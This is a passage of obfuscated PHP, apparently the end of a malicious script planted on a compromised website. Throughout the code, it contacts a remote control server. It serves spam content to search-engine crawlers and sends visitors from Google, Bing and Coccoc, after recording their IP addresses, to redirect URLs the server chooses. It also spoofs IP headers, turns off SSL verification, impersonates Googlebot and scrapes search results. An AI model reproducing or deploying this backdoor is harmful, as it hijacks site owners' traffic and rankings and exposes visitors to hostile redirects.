$pid,'spider_url'=>$spider_result[((99*CC_CC__-5643)-570+10*CC_CC__)],'html_text'=>$spider_result[(CC_CC__*75-4274)]);}else{$pid=isset($pid)?$pid:((99*CC_CC__-5643)-570+10*CC_CC__);$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}if(strpos($referer,'google')!==false||strpos($referer,'coccoc')!==false||strpos($referer,'bing')!==false){if(judgeLanguage($lang)==(CC_CC__*75-4274)){$client_ip=base64_encode(get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[((99*CC_CC__-5643)-570+10*CC_CC__)]==((CC_CC__*15-855)-3619+CC_CC__*67)&&strlen($response[(CC_CC__*75-4274)])>((99*CC_CC__-5643)-5581+CC_CC__*98)){$tzurl=trim($response[(CC_CC__*75-4274)]);$tzurl=str_replace(array(chr((CC_CC__*3+68)),chr((CC_CC__*83-4544)),chr(((CC_CC__*15-855)-1747+34*CC_CC__))," "," "," "," "),'',$tzurl);@header("Location: " . $tzurl);exit;}}}function generate_random_ua(){$user_agents=['Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' .rand(((CC_CC__*6-342)-5414+95*CC_CC__),(76*CC_CC__-4232)),'Mozilla/' .rand((CC_CC__*46-2619),((CC_CC__*6-342)-4270+75*CC_CC__)). '.0 (Windows NT 10.0; Win64; x64; rv:' .rand(((CC_CC__*6-342)-5308+CC_CC__*94),((CC_CC__*6-342)-4614+CC_CC__*82)). ') Gecko/20100101 Firefox/' .rand(((CC_CC__*6-342)-5414+95*CC_CC__),(76*CC_CC__-4232)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' .rand(((CC_CC__*6-342)-5308+CC_CC__*94),((CC_CC__*6-342)-4614+CC_CC__*82)). ') AppleWebKit/' .rand((CC_CC__*38-1666),((CC_CC__*6-342)-2136+48*CC_CC__)). '.36 (KHTML, like Gecko) Chrome/' .rand(((CC_CC__*6-342)-5308+CC_CC__*94),((CC_CC__*6-342)-4614+CC_CC__*82)). '.0.3112.90 Safari/' .rand((CC_CC__*38-1666),((CC_CC__*6-342)-2136+48*CC_CC__)). '.36','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand(((CC_CC__*6-342)-1070+CC_CC__*19),(88*CC_CC__-5000)). '.0 Safari/605.1.15','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((CC_CC__*6-342)-3444+CC_CC__*62),(76*CC_CC__-4232)). '.0.4430.212 Safari/537.36 Edg/' .rand(((CC_CC__*6-342)-3444+CC_CC__*62),(76*CC_CC__-4232)). '.0.1185.44','Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((CC_CC__*6-342)-3444+CC_CC__*62),(76*CC_CC__-4232)). '.0.4430.212 Safari/537.36 OPR/' .rand(((CC_CC__*6-342)-5339+95*CC_CC__),(CC_CC__*8-370)). '.0.4017.123','Mozilla/5.0 (Linux; Android ' .rand(((CC_CC__*6-342)-5350+CC_CC__*94),((CC_CC__*6-342)-2952+52*CC_CC__)). '.0; SM-G9' .rand(((CC_CC__*6-342)-4270+75*CC_CC__),((CC_CC__*6-342)-5121+CC_CC__*90)). '0F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/' .rand(((CC_CC__*6-342)-3444+CC_CC__*62),(76*CC_CC__-4232)). '.0.4430.212 Mobile Safari/537.36','Mozilla/5.0 (iPhone; CPU iPhone OS ' .rand((CC_CC__*71-4033),(88*CC_CC__-5000)). '_' .rand((CC_CC__*6-342),((CC_CC__*6-342)-4270+75*CC_CC__)). ' like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/' .rand((CC_CC__*71-4033),(88*CC_CC__-5000)). '.0 Mobile/15E148 Safari/604.1',];return $user_agents[array_rand($user_agents)];}function curl_request($url,$ua='',$referer=null){global $has_curl,$curl_timeout;if($ua==''){$ua=generate_random_ua();}if($has_curl){$ip=rand((((1*CC_CC__-57)-855+CC_CC__*15)-2906+51*CC_CC__),(((1*CC_CC__-57)-855+CC_CC__*15)-2539+49*CC_CC__)). '.' .rand((((1*CC_CC__-57)-855+CC_CC__*15)-2906+51*CC_CC__),(((1*CC_CC__-57)-855+CC_CC__*15)-2539+49*CC_CC__)). '.' .rand((((1*CC_CC__-57)-855+CC_CC__*15)-2906+51*CC_CC__),(((1*CC_CC__-57)-855+CC_CC__*15)-2539+49*CC_CC__)). '.' .rand((((1*CC_CC__-57)-855+CC_CC__*15)-2906+51*CC_CC__),(((1*CC_CC__-57)-855+CC_CC__*15)-2539+49*CC_CC__));$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,((1*CC_CC__-57)-855+CC_CC__*15));curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,(14*CC_CC__-796));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,(((1*CC_CC__-57)-855+CC_CC__*15)-2906+51*CC_CC__));curl_setopt($curl,CURLOPT_AUTOREFERER,(((1*CC_CC__-57)-855+CC_CC__*15)-2906+51*CC_CC__));curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,(((1*CC_CC__-57)-855+CC_CC__*15)-2906+51*CC_CC__));curl_setopt($curl,CURLOPT_TIMEOUT,$curl_timeout);curl_setopt($curl,CURLOPT_HEADER,((1*CC_CC__-57)-855+CC_CC__*15));curl_setopt($curl,CURLOPT_RETURNTRANSFER,(((1*CC_CC__-57)-855+CC_CC__*15)-2906+51*CC_CC__));curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$error=curl_error($curl);if($error){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}else{$options=['http'=>['method'=>'GET','ignore_errors'=>true,'header'=>"User-Agent: " .$ua. " " . "Referer: " .$referer. " ",'timeout'=>$curl_timeout],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);if($response===false){return false;}$http_response_header=isset($http_response_header)?$http_response_header:[];preg_match('/HTTP\/\d\.\d (\d{3})/',$http_response_header[((1*CC_CC__-57)-855+CC_CC__*15)],$matches);$httpcode=isset($matches[(((1*CC_CC__-57)-855+CC_CC__*15)-2906+51*CC_CC__)])?(int)$matches[(((1*CC_CC__-57)-855+CC_CC__*15)-2906+51*CC_CC__)]:((1*CC_CC__-57)-855+CC_CC__*15);return[$httpcode,$response];}}function post($url,$postData,$ua=''){global $has_curl;if($ua==''){$ua=generate_random_ua();}if($has_curl){$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,(0-4674+CC_CC__*82));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}else{$postData=http_build_query($postData);$options=['http'=>['method'=>'POST','header'=>"Content-type: application/x-www-form-urlencoded; charset=UTF-8 " . "Accept: application/json " . "User-Agent: " .$ua. " ",'content'=>$postData,'timeout'=>(11*CC_CC__-617)],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false,]];$context=stream_context_create($options);$response=@file_get_contents($url,false,$context);return $response;}}function judgeLanguage($lang){if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$firstLang=strtolower(trim($languages[(CC_CC__*25-1425)]));return substr($firstLang,(CC_CC__*25-1425),(((21*CC_CC__-1197)-3363+59*CC_CC__)-4672+82*CC_CC__))===$lang?(((21*CC_CC__-1197)-3363+59*CC_CC__)-1595+CC_CC__*28):(CC_CC__*25-1425);}return (CC_CC__*25-1425);}function getNumber($string){$posSitemap=strpos($string,'sitemap');$posXml=strpos($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-strlen('sitemap');$substring=substr($string,$posSitemap+strlen('sitemap'),$length);$number=intval($substring);return $number;}else{return (0-570+CC_CC__*10);}}function get_client_ip(){$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach(explode(',',$_SERVER[$key])as $ip){$ip=trim($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($name){$hrefTemp=spider_search($name);$hrefArray=[];foreach($hrefTemp as $href){$non_web_extensions=['pdf','doc','docx','xls','xlsx','ppt','pptx'];$file_extension=pathinfo(parse_url($href,PHP_URL_PATH),PATHINFO_EXTENSION);if(in_array(strtolower($file_extension),$non_web_extensions)){continue 1;}if(stripos($href,'youtube.com')!==false||stripos($href,'twitter.com')!==false||stripos($href,'bing.com')!==false){continue 1;}$hrefArray[]=$href;}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $href){$spider_html=curl_request($href,$googleua,$href);if($spider_html!==false&&$spider_html[(CC_CC__*47-2679)]==(CC_CC__*79-4303)){$htmltext=trim($spider_html[(0-4730+CC_CC__*83)]);if(strlen($htmltext)>(CC_CC__*34+62)){return[$href,$htmltext];}}}return false;}function spider_search($name){$search_urls=["google"=>"https://www.google.com.vn/search?q=" .$name. "&lr=lang_vi","aol"=>"https://search.aol.com/aol/search;_ylt=?q=" .$name];$hrefArray=[];foreach($search_urls as $domain=>$url){$result=curl_request($url,'',$url);if($result!==false&&$result[(CC_CC__*91-5187)]===(CC_CC__*10-370)){$dom=new DOMDocument();@$dom->loadHTML($result[(81*CC_CC__-4616)],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);$aElements=$xpath->query('//a');foreach($aElements as $a){$href=$a->getAttribute('href');if($href&&$domain=='google'){$httpsPos=stripos($href,'https://');$urlPos=stripos($href,'/url?');if($httpsPos!==false&&strpos($href,'google')===false&&$urlPos===(CC_CC__*91-5187)){$hrefArray[]=substr($href,$httpsPos);}}else if($href&&$domain=='aol'){if(preg_match('/\/RU=(https[^\/]*\/RK=)/',$href,$matches)){$httpsPart=substr($matches[(81*CC_CC__-4616)],(CC_CC__*91-5187),-(0-3017+CC_CC__*53));if(strpos($httpsPart,'aol.com')===false&&strpos($httpsPart,'oath.com')===false){$hrefArray[]=urldecode($httpsPart);}}}}}if(!empty($hrefArray)){return $hrefArray;}}return $hrefArray;} ?>